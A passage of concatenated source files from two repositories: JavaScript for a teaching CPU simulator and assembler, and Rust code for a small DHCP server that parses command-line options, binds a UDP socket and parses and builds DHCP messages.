baseConvert(emulator.getAluOut(),2,16,4); break; case 'wireMUX1OUT': hint.content = baseConvert(emulator.regfile[parseInt(emulator.IR.substr(8,2),2)],2,16,4); break; case 'wireMUX2OUT': hint.content = baseConvert(emulator.regfile[parseInt(emulator.IR.substr(11,2),2)],2,16,4); break; case 'wireMUX3OUT': hint.content = baseConvert(emulator.getBigMuxOut(),2,16,4); break; case 'wireREG0OUT': hint.content = baseConvert(emulator.regfile[0],2,16,4); break; case 'wireREG1OUT': hint.content = baseConvert(emulator.regfile[1],2,16,4); break; case 'wireREG2OUT': hint.content = baseConvert(emulator.regfile[2],2,16,4); break; case 'wireREG3OUT': hint.content = baseConvert(emulator.regfile[3],2,16,4); break; default : hint.content = 'none'; } } <file_sep>/simulator/js/assembler.js // .code | .data reges var regexScope = /^\s*(\.code|\.data)\s*$/i; //data decleration regex var regexDataDec = /^\s*[_A-Za-z]\w*\s*:\s*(.space\s+)?(\d+|0x[0-9a-fA-F]+)\s*$/i; var regexVariableDec = /^\s*([_A-Za-z]\w*)\s*:\s*(\d+|0x[0-9a-fA-F]+)\s*$/i; var regexArrayDec = /^\s*([_A-Za-z]\w*)\s*:\s*(?:.space\s+)(\d+)\s*$/i; /** General Instractions Format [?label] + [instruction mnemonic] + [,operands] Note that [label] is optional */ //ALU instructions ADD,SUB,AND,OR,XOR --> [?label] + [instruction mnemonic] + [r1] + [r2] + [r3] var instructionType0 = /^\s*(?:[_A-Za-z]\w*\s+)?(add|sub|and|or|xor)\s+([0-3])\s+([0-3])\s+([0-3])\s*$/i; //MOV, NOT, LD, ST var instructionType1 = /^\s*(?:[_A-Za-z]\w*\s+)?(mov|not|ld|st)\s+([0-3])\s+([0-3])\s*$/i; //INC, DEC var instructionType2 = /^\s*(?:[_A-Za-z]\w*\s+)?(inc|dec)\s+([0-3])\s*$/i; //LDI var instructionType3 = /^\s*(?:[_A-Za-z]\w*\s+)?(ldi)\s+([0-3])\s+([_A-Za-z]\w*|\d+|0x[0-9a-fA-F]+)\s*$/i; //JMP, JZ var instructionType4 = /^\s*(?:[_A-Za-z]\w*\s+)?(jz|jmp)\s+([_A-Za-z]\w*)\s*$/i; var regexInstWithLabel = /^\s*([_A-Za-z]\w*)\s+([_A-Za-z]\w*)/i; function isValidCode(str){ return regexDataDec.test(str) | regexScope.test(str) | instructionType0.test((str)) | instructionType1.test((str)) | instructionType2.test((str)) | instructionType3.test((str)) | instructionType4.test((str)) ; } function isValidInstruction(str){ return instructionType0.test((str)) | instructionType1.test((str)) | instructionType2.test((str)) | instructionType3.test((str)) | instructionType4.test((str)) ; } function isInstKeyword(keyword){ keyword = keyword.toLowerCase(); return keyword === 'add' | keyword === 'sub' | keyword === 'and' | keyword === 'or' | keyword === 'xor' | keyword === 'ldi' | keyword === 'not' | keyword === 'mov' | keyword === 'inc' | keyword === 'dec' | keyword === 'ld' | keyword === 'st' | keyword === 'jmp' | keyword === 'jz'; }; function isReservedKeyword(keyword){ keyword = keyword.toLowerCase(); return keyword === '.data' | keyword === '.space' | keyword === '.code' | isInstKeyword(keyword); }; function splitInstruction(str){ if(instructionType0.test(str)) return instructionType0.exec(str); else if(instructionType1.test(str)) return instructionType1.exec(str); else if(instructionType2.test(str)) return instructionType2.exec(str); else if(instructionType3.test(str)) return instructionType3.exec(str); else if(instructionType4.test(str)) return instructionType4.exec(str); else return null; } function instFormat(instArr,labelArr,variableArr,lineNum){ // ADD r1 r2 r3 if(instArr[1].toLowerCase() == 'add'){ return '0111' + '0000' + binary(instArr[3]) + '0' + binary(instArr[4]) + '0' + binary(instArr[2]); } else if(instArr[1].toLowerCase() == 'sub'){ return '0111' + '0001' + binary(instArr[3]) + '0' + binary(instArr[4]) + '0' + binary(instArr[2]); } else if(instArr[1].toLowerCase() == 'and'){ return '0111' + '0010' + binary(instArr[3]) + '0' + binary(instArr[4]) + '0' + binary(instArr[2]); } else if(instArr[1].toLowerCase() == 'or'){ return '0111' + '0011' + binary(instArr[3]) + '0' + binary(instArr[4]) + '0' + binary(instArr[2]); } else if(instArr[1].toLowerCase() == 'xor'){ return '0111' + '0100' + binary(instArr[3]) + '0' + binary(instArr[4]) + '0' + binary(instArr[2]); } //MOV r1 r2 else if(instArr[1].toLowerCase() == 'mov'){ return '0111' + '0110' + '000' + binary(instArr[3]) + '0' + binary(instArr[2]); } //NOT r1 r2 else if(instArr[1].toLowerCase() == 'not'){ return '0111' + '0101' + '000' + binary(instArr[3]) + '0' + binary(instArr[2]); } //INC r1 else if(instArr[1].toLowerCase() == 'inc'){ return '0111' + '0111' + '000' + binary(instArr[2]) + '0' + binary(instArr[2]); } //DEC r1 else if(instArr[1].toLowerCase() == 'dec'){ return '0111' + '1000' + '000' + binary(instArr[2]) + '0' + binary(instArr[2]); } //LDI r1 labelname else if(instArr[1].toLowerCase() == 'ldi'){ var output = []; output.push('0001' + '0000000000' + binary(instArr[2])); if(getNode(variableArr,instArr[3]) != null) output.push(signPreceding(parseInt(getNode(variableArr,instArr[3]).addr),16)); else output.push('----------------'); return output; } //LD r1 r2 else if(instArr[1].toLowerCase() == 'ld'){ return [ '0010' + '0000000' + binary(instArr[3]) + '0' + binary(instArr[2])]; } //ST r1 r2 else if(instArr[1].toLowerCase() == 'st') { return '0011' + '0000' + binary(instArr[3]) + '0' + binary(instArr[2]) + '000'; } //JMP label else if(instArr[1].toLowerCase() == 'jmp'){ if (getNode(labelArr,instArr[2]) != null) //return '0101' + signPreceding(20,12); return '0101' + signPreceding((parseInt(getNode(labelArr,instArr[2]).lineNum)-lineNum-1),12); else return '0101' + '------------'; } //JZ label else if(instArr[1].toLowerCase() == 'jz'){ if (getNode(labelArr,instArr[2]) != null) return '0100' + signPreceding((parseInt(getNode(labelArr,instArr[2]).lineNum)-lineNum-1),12); else return '0100' + '------------'; } else return 'XXXXXXXXXXXXXXXX'; } function binary(num){ if(typeof (num) == 'string') return zeroPreceding((parseInt(num)).toString(2),2); else if(typeof (num) == 'number') return zeroPreceding(num.toString(2),2); else return NaN; } function zeroPreceding(str, size) { var s = "00000000000000000000" + str; return s.substr(s.length-size); }; function signPreceding(num, size) { var s; if(num >= 0){ s = "0000000000000000000000000000000000000000000000" + num.toString(2); return s.substr(s.length-size); }else{ s = (num >>> 0).toString(2); s = "1111111111111111111111111111111111111111111111" + s; return s.substr(s.length-size); } } function assembler(inputText){ var codeLines = inputText.split("\n"); var codeArr = []; var instParts = []; var instArr = []; var lineCounter = 0; var labelArr = []; var variableArr = []; var debugStr = ''; //calculate line indexes to highlight var codeIndexes = [];//dirty var codeIndexes2 = [] ;//cleaned from empty lines //Remove Blank Lines for(var i in codeLines){ //if it's not a blank line add to code Array if(!(/^\s*$/.test(codeLines[i]))){ codeArr.push(codeLines[parseInt(i)]); codeIndexes.push(parseInt(i)+1); } } console.warn(codeIndexes); //FIRST PASS //FIRST PASS //FIRST PASS //first PASS calculate total lines of code, label & var addresses, ... for(var i in codeArr){ if(regexVariableDec.test(codeArr[i])){ var parts = regexVariableDec.exec(codeArr[i]); variableArr.push(variableObject(parts[1],parts[2],'1','0')); } else if(regexArrayDec.test(codeArr[i])){ var parts = regexArrayDec.exec(codeArr[i]); variableArr.push(variableObject(parts[1],'0',parts[2],'0')); } //Get Label information else if(isValidInstruction(codeArr[i])){ var parts = regexInstWithLabel.exec(codeArr[i]); if(parts != null){ if( !isReservedKeyword(parts[1]) && isInstKeyword(parts[2])){ if(isNodeExist(labelArr,parts[1])){ debugStr += 'Repeated label name: <' + parts[1] +'> at line ' + (lineCounter+1) +'\n'; } else labelArr.push(labelObject(parts[1],lineCounter+'')); } else if(!(parts[1] ==='jmp' || parts[1] === 'jz') ){ debugStr += 'Invalid label name: <' + parts[1] +'> at line ' + (lineCounter+1) +'\n'; } } lineCounter += (instructionType3.test((codeArr[i]))) ? 2 : 1; } } //modify variable addresss if(variableArr[0] != null) variableArr[0].addr = lineCounter; for(var i =1;i<variableArr.length;i++){ lineCounter += parseInt(variableArr[i-1].size); variableArr[i].addr = lineCounter; } //SECOND PASS //SECOND PASS //SECOND PASS //SECOND PASS lineCounter = 0; for(i in codeArr){ var inst = codeArr[i]; if(regexDataDec.test(inst) | regexScope.test(inst)){ continue; } if(isValidInstruction(inst)){ instParts = splitInstruction(inst); instArr = instArr.concat(instFormat(instParts,labelArr,variableArr,lineCounter)); codeIndexes2.push(codeIndexes[i]); if(instructionType3.test(inst)){ codeIndexes2.push(codeIndexes[i]); } }else{ instArr.push('????????????????'); } lineCounter += (instructionType3.test((codeArr[i]))) ? 2 : 1; } console.warn(codeIndexes2); window.globals.codeIndex = codeIndexes2; //Place data section to the memory for(var i=0;i<variableArr.length;i++){ for(var j=0;j < parseInt(variableArr[i].size);j++ ){ var num; if((variableArr[i].value).substr(0,2) == '0x' || (variableArr[i].value).substr(0,2) == '0X') num = parseInt(variableArr[i].value,16); else num = parseInt(variableArr[i].value); instArr.push(signPreceding(num,16)); } } if(debugStr != '')console.error(debugStr); return instArr; }; var labelObject = function(name,lineNum){ return { name: name.toLowerCase(), //label name lineNum:lineNum //label line address } }; var variableObject = function(name,value,size,addr){ if(value.substr(0,2) === '0x' || value.substr(0,2) === '0X'){ value = parseInt(value,16).toString(10); } return { name: name.toLowerCase(), //variable name value: value, //can be variable value size: size, //can be [0,*] for array, only 1 for simple variables addr: addr //memory addres of array or variable, } }; function getNode(nodeArr,name){ for(i in nodeArr){ if(nodeArr[i].name === name.toLowerCase()) return nodeArr[i]; } return null; }; function isNodeExist(nodeArr,name){ for(i in nodeArr){ if(nodeArr[i].name === name.toLowerCase()) return true; } return false; }; <file_sep>/simulator/js/drawGraphicsTest.js /** * Created by KO on 26.03.2015. */ function run(){ window.globals.signal.ARMUX = randomInt(2); window.globals.signal.ARLD = randomInt(2); window.globals.signal.ARINC = randomInt(2); window.globals.signal.PCINC = randomInt(2); window.globals.signal.PCLD = randomInt(2); window.globals.signal.REGWT = randomInt(2); window.globals.signal.MEMWT = randomInt(2); window.globals.signal.IRLD = randomInt(2); window.globals.signal.FLAGWT = randomInt(2); window.globals.signal.MUX0 = randomInt(2); window.globals.signal.MUX1 = randomInt(2); window.globals.selectedReg = randomInt(4); window.globals.wireZF = randomInt(2); window.globals.regs.R0 = '0x' + randomString(4,'0123456789ABCDEF'); window.globals.regs.R1 = '0x' + randomString(4,'0123456789ABCDEF'); window.globals.regs.R2 = '0x' + randomString(4,'0123456789ABCDEF'); window.globals.regs.R3 = '0x' + randomString(4,'0123456789ABCDEF'); window.globals.regs.AR = '0x' + randomString(4,'0123456789ABCDEF'); window.globals.regs.PC = '0x' + randomString(4,'0123456789ABCDEF'); window.globals.regs.IR = '0x' + randomString(4,'0123456789ABCDEF'); }; var randomInt = function(top){ var num = Math.floor((Math.random() * 1000) + 1) % top; return num; }; function randomString(len, charSet) { charSet = charSet || 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; var randomString = ''; for (var i = 0; i < len; i++) { var randomPoz = Math.floor(Math.random() * charSet.length); randomString += charSet.substring(randomPoz,randomPoz+1); } return randomString; } <file_sep>/microp/microp.js /** * Created by KO on 13.03.2015. */ $( document ).ready(function() { $('.tree-toggle').click(function () { $(this).parent().children('ul.tree').toggle(200); }); }); var microp = angular.module('microp', ['ngRoute']); // configure our routes microp.config(function($routeProvider) { $routeProvider .when('/', { templateUrl : 'home.html' }) .when('/ch1', { templateUrl : 'ch1-inst_set.html' }) .when('/ch2', { templateUrl : 'ch2-assembler.html' }) .when('/ch3', { templateUrl : 'ch3-hardware.html' }) .when('/ch4', { templateUrl : 'ch4.html' }) .when('/ch5', { templateUrl : 'ch5-pushpop.html' }) .when('/ch6.1', { templateUrl : 'ch6-IO.html' }) .when('/ch6', { templateUrl : 'ch6-polling.html' }) .when('/ch10', { templateUrl : 'ch8-interrupt-intro.html' }) .otherwise({ redirectTo: 'home.html' }); });
fb82772229b00898015aa3fae9355e7ef139e805
[ "JavaScript" ]
4
JavaScript
kotiloli/kotiloli.github.io
a266519241960cef62a013ca8d782df82128a2ad
dd8ecc18c1ce5f18675a56ffd1e0008457ad5f62
refs/heads/master
<file_sep>use std::net::{Ipv4Addr, SocketAddr}; #[derive(Debug)] pub(crate) struct Config { /* let listening_address = "0.0.0.0:67"; let mut bind_address: SocketAddr = "0.0.0.0:68".parse::<SocketAddr>().unwrap(); let mut debug = false; let mut dhcp_range: Vec<Ipv4Addr> = Vec::new(); let mut dns_servers: Vec<Ipv4Addr> = Vec::new(); let mut domain = String::new(); let mut lease_time = String::new(); */ pub debug: bool, pub listening_address: SocketAddr, pub interface: String, pub bind_address: SocketAddr, pub routers: Vec<Ipv4Addr>, pub subnet: Ipv4Addr, pub dhcp_range: Vec<Ipv4Addr>, pub dns_servers: Vec<Ipv4Addr>, pub domain: String, pub lease_time: u32, } fn lease_to_seconds(s: String) -> u32 { let mut digits = String::new(); for c in s.chars() { if c.is_digit(10) { digits.push(c); } } let units_as_int = match digits.parse::<u32>() { Ok(h) => h, Err(_) => 12, }; // get the last char to check our units match s.clone().pop() { Some(c) => match c { 'h' => { return 60 * 60 * units_as_int; } 'm' => { return 60 * units_as_int; } _ => { return units_as_int; } }, None => { // let's just default to 12h (in seconds, durr) return 28800; } } } impl Config { pub(crate) fn new() -> Config { Config { debug: true, listening_address: "0.0.0.0:67".parse::<SocketAddr>().unwrap(), bind_address: "0.0.0.0:68".parse::<SocketAddr>().unwrap(), interface: "".to_string(), routers: Vec::new(), subnet: "255.255.255.0".parse::<Ipv4Addr>().unwrap(), dhcp_range: Vec::new(), dns_servers: Vec::new(), domain: "some.fake.lan".to_string(), lease_time: lease_to_seconds("12h".to_string()), } } pub(crate) fn set_lease(&mut self, s: String) { self.lease_time = lease_to_seconds(s); } } <file_sep>extern crate socket2; use pool::Pool; use socket2::{Domain, Protocol, Socket, Type}; mod config; mod dhcpmessage; mod options; mod pool; use crate::{ config::Config, dhcpmessage::{DhcpMessage, DhcpOption}, options::SERVER_IDENTIFIER, }; use std::{ env, ffi::CString, net::{IpAddr, Ipv4Addr, SocketAddrV4}, }; fn main() -> std::io::Result<()> { let mut c = Config::new(); // first we parse out our options to know what we're doing let args: Vec<String> = env::args().collect(); // so we can get the next arg AFTER our flag let mut counter: usize = 0; if args.len() < 2 { help(); std::process::exit(1); } for e in &args { match e.as_str() { "--address" | "-a" => { c.bind_address.set_ip(std::net::IpAddr::V4( args[counter + 1] .as_str() .parse::<Ipv4Addr>() .expect("Invalid binding address!"), )); } "--interface" | "-i" => { c.interface = args[counter + 1].clone(); } "--debug" | "-d" => { c.debug = true; } "--help" | "-h" => { help(); } "--domain" => { c.domain = args[counter + 1].clone(); } "--leasetime" | "--lease" => { c.set_lease(args[counter + 1].clone()); } "--range" | "-r" => { let l: Vec<&str> = args[counter + 1].split(",").collect(); for x in l { if x.len() > 0 { c.dhcp_range.push(match x.parse::<Ipv4Addr>() { Ok(a) => a, _ => { error("IP range parse error!"); break; } }); } } } "--routers" | "--router" => { let l: Vec<&str> = args[counter + 1].split(",").collect(); for x in l { if x.len() > 0 { c.routers.push(match x.parse::<Ipv4Addr>() { Ok(a) => a, _ => { error("router parse error!"); break; } }); } } } "--dns" => { let l: Vec<&str> = args[counter + 1].split(",").collect(); for x in l { if x.len() > 0 { c.dns_servers.push(match x.parse::<Ipv4Addr>() { Ok(a) => a, _ => { error("DNS servers parse error!"); break; } }); } } } _ => {} } counter += 1; } if c.debug { eprintln!("==> {:?}", c); } let mut p = Pool::new( c.dhcp_range.first().unwrap().to_owned(), c.dhcp_range.last().unwrap().to_owned(), ); let socket = match Socket::new(Domain::ipv4(), Type::dgram(), Some(Protocol::udp())) { Ok(a) => a, _ => panic!("couldn't create socket :("), }; if c.interface.clone().len() > 0 { socket .bind_device(Some(&CString::new(c.interface.clone()).unwrap())) .expect(format!("couldn't bind to {}", c.interface).as_str()); } socket .bind(&c.listening_address.into()) .expect(format!("couldn't bind to {}", c.listening_address).as_str()); socket.set_broadcast(true).expect("couldn't broadcast! :("); if c.debug { if c.interface.len() > 0 { println!("==> bound to {} on {:?}", c.bind_address, socket.device()); } else { println!("==> bound to {}", c.bind_address); } println!("==> listening on {}", c.listening_address); } /* The 'options' field is now variable length. A DHCP client must be prepared to receive DHCP messages with an 'options' field of at least length 312 octets. This requirement implies that a DHCP client must be prepared to receive a message of up to 576 octets, the minimum IP datagram size an IP host must be prepared to accept [3]. DHCP clients may negotiate the use of larger DHCP messages through the 'maximum DHCP message size' option. The options field may be further extended into the 'file' and 'sname' fields. creates an array of length 576 u8s and pre-sets each to 0 this is equivalent to vec![0, 576]; */ let mut buf = [0 as u8; 576]; loop { match socket.recv_from(&mut buf) { Ok((l, _n)) => { let mut d: DhcpMessage = DhcpMessage::default(); let filled_buf: &mut [u8] = &mut buf[..l]; d.parse(filled_buf); // if the dest address is us or broadcast let _f = d.options.get(&SERVER_IDENTIFIER); match _f { Some(_g) => match _g { DhcpOption::ServerIdentifier(a) => { println!("server identifier: {:?}", _g); if IpAddr::V4(a.clone()) != c.bind_address.ip() && !a.is_broadcast() { println!("{} != {}", c.bind_address.ip(), a); continue; } } _ => { println!("default: {:?}", _g); } }, None => { println!( "no server identifier. peer address: {:?}", socket.peer_addr() ); } } let x = d.construct_response(&c, &mut p); //let u = UdpSocket::bind(c.bind_address)?; let source = Ipv4Addr::from(d.ciaddr); // if the client specifies an IP (renewing), unicast to that // otherwise we have to broadcast (DHCPDISCOVER, DHCPREQUEST) let target = if !source.is_unspecified() { source } else { Ipv4Addr::BROADCAST }; // we've already set_broadcast, so that's fine // but we gotta also allow reuse of the port let _ = socket.set_reuse_port(true); //let _ = socket.set_reuse_address(true); let n = socket.send_to(&x, &SocketAddrV4::new(target, 68).into()); match n { Ok(_) => {} Err(e) => { println!("error sending on socket {:?}. error: {}", socket, e); } } } Err(_) => {} } std::thread::sleep(std::time::Duration::from_millis(10)); } #[allow(unreachable_code)] Ok(()) } fn error(e: &str) { eprintln!("{}", e); std::process::exit(1); } fn help() { let help_string = r#" [usage] dhcpd-rs <flags> [remarks] Flags can appear in any order, but MUST be space delimited. Range and DNS servers MUST NOT have spaces between them. [flags] -h, --help : this help message --address : <address> (address to bind to). --debug : debug (don't background, prints debugging output). --dns : dns servers to advertise (<192.168.5.4,192.168.5.5>, for example). NO SPACES. --domain : domain to advertise (for clients to append to otherwise-unqualified dns queries). --leasetime : lease time to advertise. specify in hours (12h, 24h, 72h, etc). --interface : interface to bind to. if unspecified, binds to all interfaces. --subnet : subnet mask to give to clients (255.255.255.0, for example). --routers : routers to give to clients (in order of preference; <192.168.122.1,192.168.6.1>, for example). NO SPACES. --range : range to assign to clients (<192.168.5.50,192.168.5.150>, for example). NO SPACES. "#; println!("{}", help_string); std::process::exit(0); } <file_sep>pub(crate) trait BEByteSerializable { fn to_be_bytes(&self, vec: &mut Vec<u8>); } impl BEByteSerializable for u32 { fn to_be_bytes(&self, vec: &mut Vec<u8>) { for b in &u32::to_be_bytes(*self) { vec.push(*b); } } } impl BEByteSerializable for u16 { fn to_be_bytes(&self, vec: &mut Vec<u8>) { for b in &u16::to_be_bytes(*self) { vec.push(*b); } } } impl BEByteSerializable for u64 { fn to_be_bytes(&self, vec: &mut Vec<u8>) { for b in &u64::to_be_bytes(*self) { vec.push(*b); } } } impl BEByteSerializable for u128 { fn to_be_bytes(&self, vec: &mut Vec<u8>) { for b in &u128::to_be_bytes(*self) { vec.push(*b); } } } <file_sep>use std::{ collections::HashMap, convert::TryInto, fmt::Formatter, net::Ipv4Addr, time::SystemTime, }; use std::{fmt, net::IpAddr}; use crate::{ config::Config, options::{byte_serialize::BEByteSerializable, *}, pool::{LeaseStatus, LeaseUnique, Pool}, }; /* 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | op (1) | htype (1) | hlen (1) | hops (1) | +---------------+---------------+---------------+---------------+ | xid (4) | +-------------------------------+-------------------------------+ | secs (2) | flags (2) | +-------------------------------+-------------------------------+ | ciaddr (4) | +---------------------------------------------------------------+ | yiaddr (4) | +---------------------------------------------------------------+ | siaddr (4) | +---------------------------------------------------------------+ | giaddr (4) | +---------------------------------------------------------------+ | | | chaddr (16) | | | | | +---------------------------------------------------------------+ | | | sname (64) | +---------------------------------------------------------------+ | | | file (128) | +---------------------------------------------------------------+ | | | options (variable) | +---------------------------------------------------------------+ */ /// /// op (1 byte): 1 indicates a request, 2 a reply /// htype (1 byte): ethernet is 1, 6 is IEEE 802 networks, 7 ARCNET. generally 1. /// hlen (1): hardware address length. MAC address length; generally 6. /// hops (1): generally 1. used by DHCP relays to go beyond subnet boundaries. /// xid (4 bytes): transaction identifier. 32-bit identifier field generated by client, to match with replies from DHCP server. /// secs (2): seconds elapsed since client began attempting to get an address. used by DHCP servers to prioritize responses. /// flags (2): mostly unused flags area. subfield first bit is the Broadcast flag - client doesn't know its own IP yet, so respond by broadcast. /// ciadrr (4): client puts is own address here. used only for RENEW, REBINDING, BOUND; otherwise 0. cuz it doesn't have one yet. /// yiaddrr (4): 'your' ip address. take this, assign it to yourself. from dhcp server to client. /// siaddr: (4): server ip address. usually the server's own. /// giaddr (4): gateway ip (NOT DHCP DEFAULT GATEWAY. THAT'S ITS OWN DHCP OPTION.) /// chaddr (16): the client's mac address, used for making this a converation. /// sname (64): server name. /// file (128): boot filename. /// options (variable): dhcp options, variable length. /// #[derive(Default, Debug, Clone, PartialEq)] pub(crate) struct DhcpMessage { op: u8, htype: u8, hlen: u8, hops: u8, xid: u32, secs: u16, flags: u16, pub ciaddr: u32, yiaddr: u32, siaddr: u32, giaddr: u32, pub chaddr: Vec<u8>, sname: usize, file: usize, pub options: HashMap<u8, DhcpOption>, } #[derive(Debug, Clone)] struct DhcpMessageParseError { raw_byte_array: Vec<u8>, } #[derive(Debug, Clone, PartialEq)] pub struct RawDhcpOption { code: u8, data: Vec<u8>, // just a string of bytes we don't have to understand } #[derive(Debug, Clone, PartialEq)] pub(crate) enum DhcpOption { MessageType(DhcpMessageType), ServerIdentifier(Ipv4Addr), ParameterRequestList(Vec<u8>), RequestedIpAddress(Ipv4Addr), Hostname(String), Router(Vec<Ipv4Addr>), DomainNameServer(Vec<Ipv4Addr>), #[allow(dead_code)] IpAddressLeaseTime(u32), SubnetMask(Ipv4Addr), #[allow(dead_code)] Message(String), #[allow(dead_code)] Unrecognized(RawDhcpOption), } #[derive(Debug, Clone, PartialEq)] #[repr(u8)] pub(crate) enum DhcpMessageType { UNKNOWN = 0, DHCPDISCOVER = 1, DHCPOFFER = 2, DHCPREQUEST = 3, DHCPDECLINE = 4, DHCPACK = 5, DHCPNAK = 6, DHCPRELEASE = 7, DHCPINFORM = 8, } impl From<DhcpMessageType> for u8 { fn from(orig: DhcpMessageType) -> Self { match orig { DhcpMessageType::UNKNOWN => return 0, DhcpMessageType::DHCPDISCOVER => return 1, DhcpMessageType::DHCPOFFER => return 2, DhcpMessageType::DHCPREQUEST => return 3, DhcpMessageType::DHCPDECLINE => return 4, DhcpMessageType::DHCPACK => return 5, DhcpMessageType::DHCPNAK => return 6, DhcpMessageType::DHCPRELEASE => return 7, DhcpMessageType::DHCPINFORM => return 8, } } } impl From<u8> for DhcpMessageType { fn from(orig: u8) -> Self { match orig { 1 => return DhcpMessageType::DHCPDISCOVER, 2 => return DhcpMessageType::DHCPOFFER, 3 => return DhcpMessageType::DHCPREQUEST, 4 => return DhcpMessageType::DHCPDECLINE, 5 => return DhcpMessageType::DHCPACK, 6 => return DhcpMessageType::DHCPNAK, 7 => return DhcpMessageType::DHCPRELEASE, 8 => return DhcpMessageType::DHCPINFORM, 0 | _ => return DhcpMessageType::UNKNOWN, } } } pub(crate) fn format_mac(mac: &Vec<u8>) -> String { format!( "{:02x}:{:02x}:{:02x}:{:02x}:{:02x}:{:02x}", mac[0], mac[1], mac[2], mac[3], mac[4], mac[5] ) } impl fmt::Display for DhcpMessage { fn fmt(&self, f: &mut Formatter) -> fmt::Result { let s: &str = if self.op == 1 { "request" } else { "reply" }; write!( f, "op: {}, xid: {:02x?}, ciaddr: {:02x?}, chaddr: {:02x?}, options: {:02x?}", s, self.xid, self.ciaddr, format_mac(&self.chaddr), self.options ) } } impl DhcpMessage { pub(crate) fn parse(&mut self, buf: &[u8]) { // first do the known-size parts self.op = buf[0]; self.htype = buf[1]; self.hlen = buf[2]; self.hops = buf[3]; self.xid = u32::from_be_bytes(buf[4..8].try_into().unwrap()); self.secs = u16::from_be_bytes(buf[8..10].try_into().unwrap()); self.flags = u16::from_be_bytes(buf[10..12].try_into().unwrap()); self.ciaddr = u32::from_be_bytes(buf[12..16].try_into().unwrap()); self.yiaddr = u32::from_be_bytes(buf[16..20].try_into().unwrap()); if self.hlen == 6 { self.chaddr = buf[28..34].to_vec(); } else { self.chaddr = buf[28..36].to_vec(); } // then the parts that are actually DHCP, not just bootp // these parts are variable length, so we have to // get past the four-byte magic cookie to the next option let mut current_index = Self::get_options_index(&self, buf) + 4; loop { // this gets the next u8 byte off the array, AND increments our index by 1 let next: Result<Vec<u8>, DhcpMessageParseError> = Self::take_next(&self, buf, &mut current_index, 1); match next { // check the first byte of the returned byte array - this tells us the dhcp option // and then we just match each possible dhcp option with its length, grabbing // the data and advancing to the end of it Ok(n) => match n[0] { DOMAIN_NAME_SERVER => { let len = Self::take_next(&self, buf, &mut current_index, 1).unwrap()[0]; let b = Self::take_next(&self, buf, &mut current_index, len.into()).unwrap(); match Self::get_ipv4_array(&self, len.into(), b) { Ok(a) => { self .options .insert(DOMAIN_NAME_SERVER, DhcpOption::DomainNameServer(a)); } Err(e) => { eprintln!("{:#?}", e); continue; } } } ROUTER => { let len = Self::take_next(&self, buf, &mut current_index, 1).unwrap()[0]; let b = Self::take_next(&self, buf, &mut current_index, len.into()).unwrap(); match Self::get_ipv4_array(&self, len.into(), b) { Ok(a) => { self.options.insert(ROUTER, DhcpOption::Router(a)); } Err(e) => { eprintln!("{:#?}", e); continue; } } } // dec54: server identifier SERVER_IDENTIFIER => { let len = Self::take_next(&self, buf, &mut current_index, 1).unwrap()[0]; let b = Self::take_next(&self, buf, &mut current_index, len.into()).unwrap(); match Self::get_ipv4_array(&self, len.into(), b) { Ok(a) => { self .options .insert(SERVER_IDENTIFIER, DhcpOption::ServerIdentifier(a[0])); } Err(e) => { eprintln!("{:#?}", e); continue; } } } DHCP_MESSAGE_TYPE => { let dhcp_message_type_len = Self::take_next(&self, buf, &mut current_index, 1).unwrap()[0]; let dhcp_message_type = Self::take_next(&self, buf, &mut current_index, dhcp_message_type_len.into()) .unwrap()[0]; self.options.insert( DHCP_MESSAGE_TYPE, DhcpOption::MessageType(dhcp_message_type.into()), ); } // dec55: parameter request list PARAMETER_REQUEST_LIST => { let prl_len: usize = Self::take_next(&self, buf, &mut current_index, 1).unwrap()[0].into(); let mut prl_vec: Vec<u8> = Vec::new(); for _x in current_index..current_index + prl_len { prl_vec.push(buf[_x]); } self.options.insert( PARAMETER_REQUEST_LIST, DhcpOption::ParameterRequestList(prl_vec), ); current_index = current_index + prl_len; } SUBNET_MASK => { let subnet_mask_len = Self::take_next(&self, buf, &mut current_index, 1).unwrap()[0]; let fb = Self::take_next(&self, buf, &mut current_index, subnet_mask_len.into()).unwrap(); let subnet_mask: Ipv4Addr = Ipv4Addr::new(fb[0], fb[1], fb[2], fb[3]); self .options .insert(SUBNET_MASK, DhcpOption::SubnetMask(subnet_mask)); } REQUESTED_IP_ADDRESS => { let request_len = Self::take_next(&self, buf, &mut current_index, 1).unwrap()[0]; let four_bee = Self::take_next(&self, buf, &mut current_index, request_len.into()).unwrap(); let i = self.get_ipv4_array(4, four_bee); match i { Ok(mut ip) => { self.options.insert( REQUESTED_IP_ADDRESS, DhcpOption::RequestedIpAddress(ip.pop().unwrap()), ); } Err(e) => { eprintln!("Bad ipv4 address requested."); eprintln!("Error: {:?}", e); } } } HOST_NAME => { let hostname_len = Self::take_next(&self, buf, &mut current_index, 1).unwrap()[0]; let hostname = Self::take_next(&self, buf, &mut current_index, hostname_len.into()).unwrap(); self.options.insert( HOST_NAME, DhcpOption::Hostname(std::str::from_utf8(&hostname).unwrap().to_string()), ); } _ => { break; } }, Err(_) => {} } } } /// take a reference to the dhcp message buffer, read everything to jump length, /// and increment our current index by jump length. /// returns the byte array read as a vector. fn take_next( &self, buf: &[u8], current_index: &mut usize, jump: usize, ) -> Result<Vec<u8>, DhcpMessageParseError> { let ret = buf[*current_index..*current_index + jump].to_vec(); *current_index += jump; Ok(ret) } pub(crate) fn construct_response(&self, c: &Config, p: &mut Pool) -> Vec<u8> { let mut response = self.build_bootp_packet(p, c); let offer_len: u8 = 1; let mut offer_value: u8 = 0; let dhcp_server_id_len: u8 = 4; let a = c.bind_address.ip(); let dhcp_server_id_value: [u8; 4] = match a { IpAddr::V4(ip4) => ip4.octets(), IpAddr::V6(_) => Ipv4Addr::UNSPECIFIED.octets(), }; let lease_time_len: u8 = 4; let lease_time: u32 = c.lease_time; let subnet_mask_len: u8 = 4; let subnet_mask: [u8; 4] = c.subnet.octets(); let router_option_len: u8 = 4; let mut b = c.routers.clone(); // so we can pop and get the first one specified b.reverse(); let router_option_value: [u8; 4] = b.pop().unwrap_or_else(|| Ipv4Addr::UNSPECIFIED).octets(); let option_end: u8 = 255; let mut y: Ipv4Addr = Ipv4Addr::UNSPECIFIED; let mut message: String = String::new(); match *self.options.get(&DHCP_MESSAGE_TYPE).unwrap() { // a DISCOVER! a-WOOOGAH! a-WOOOGAH! 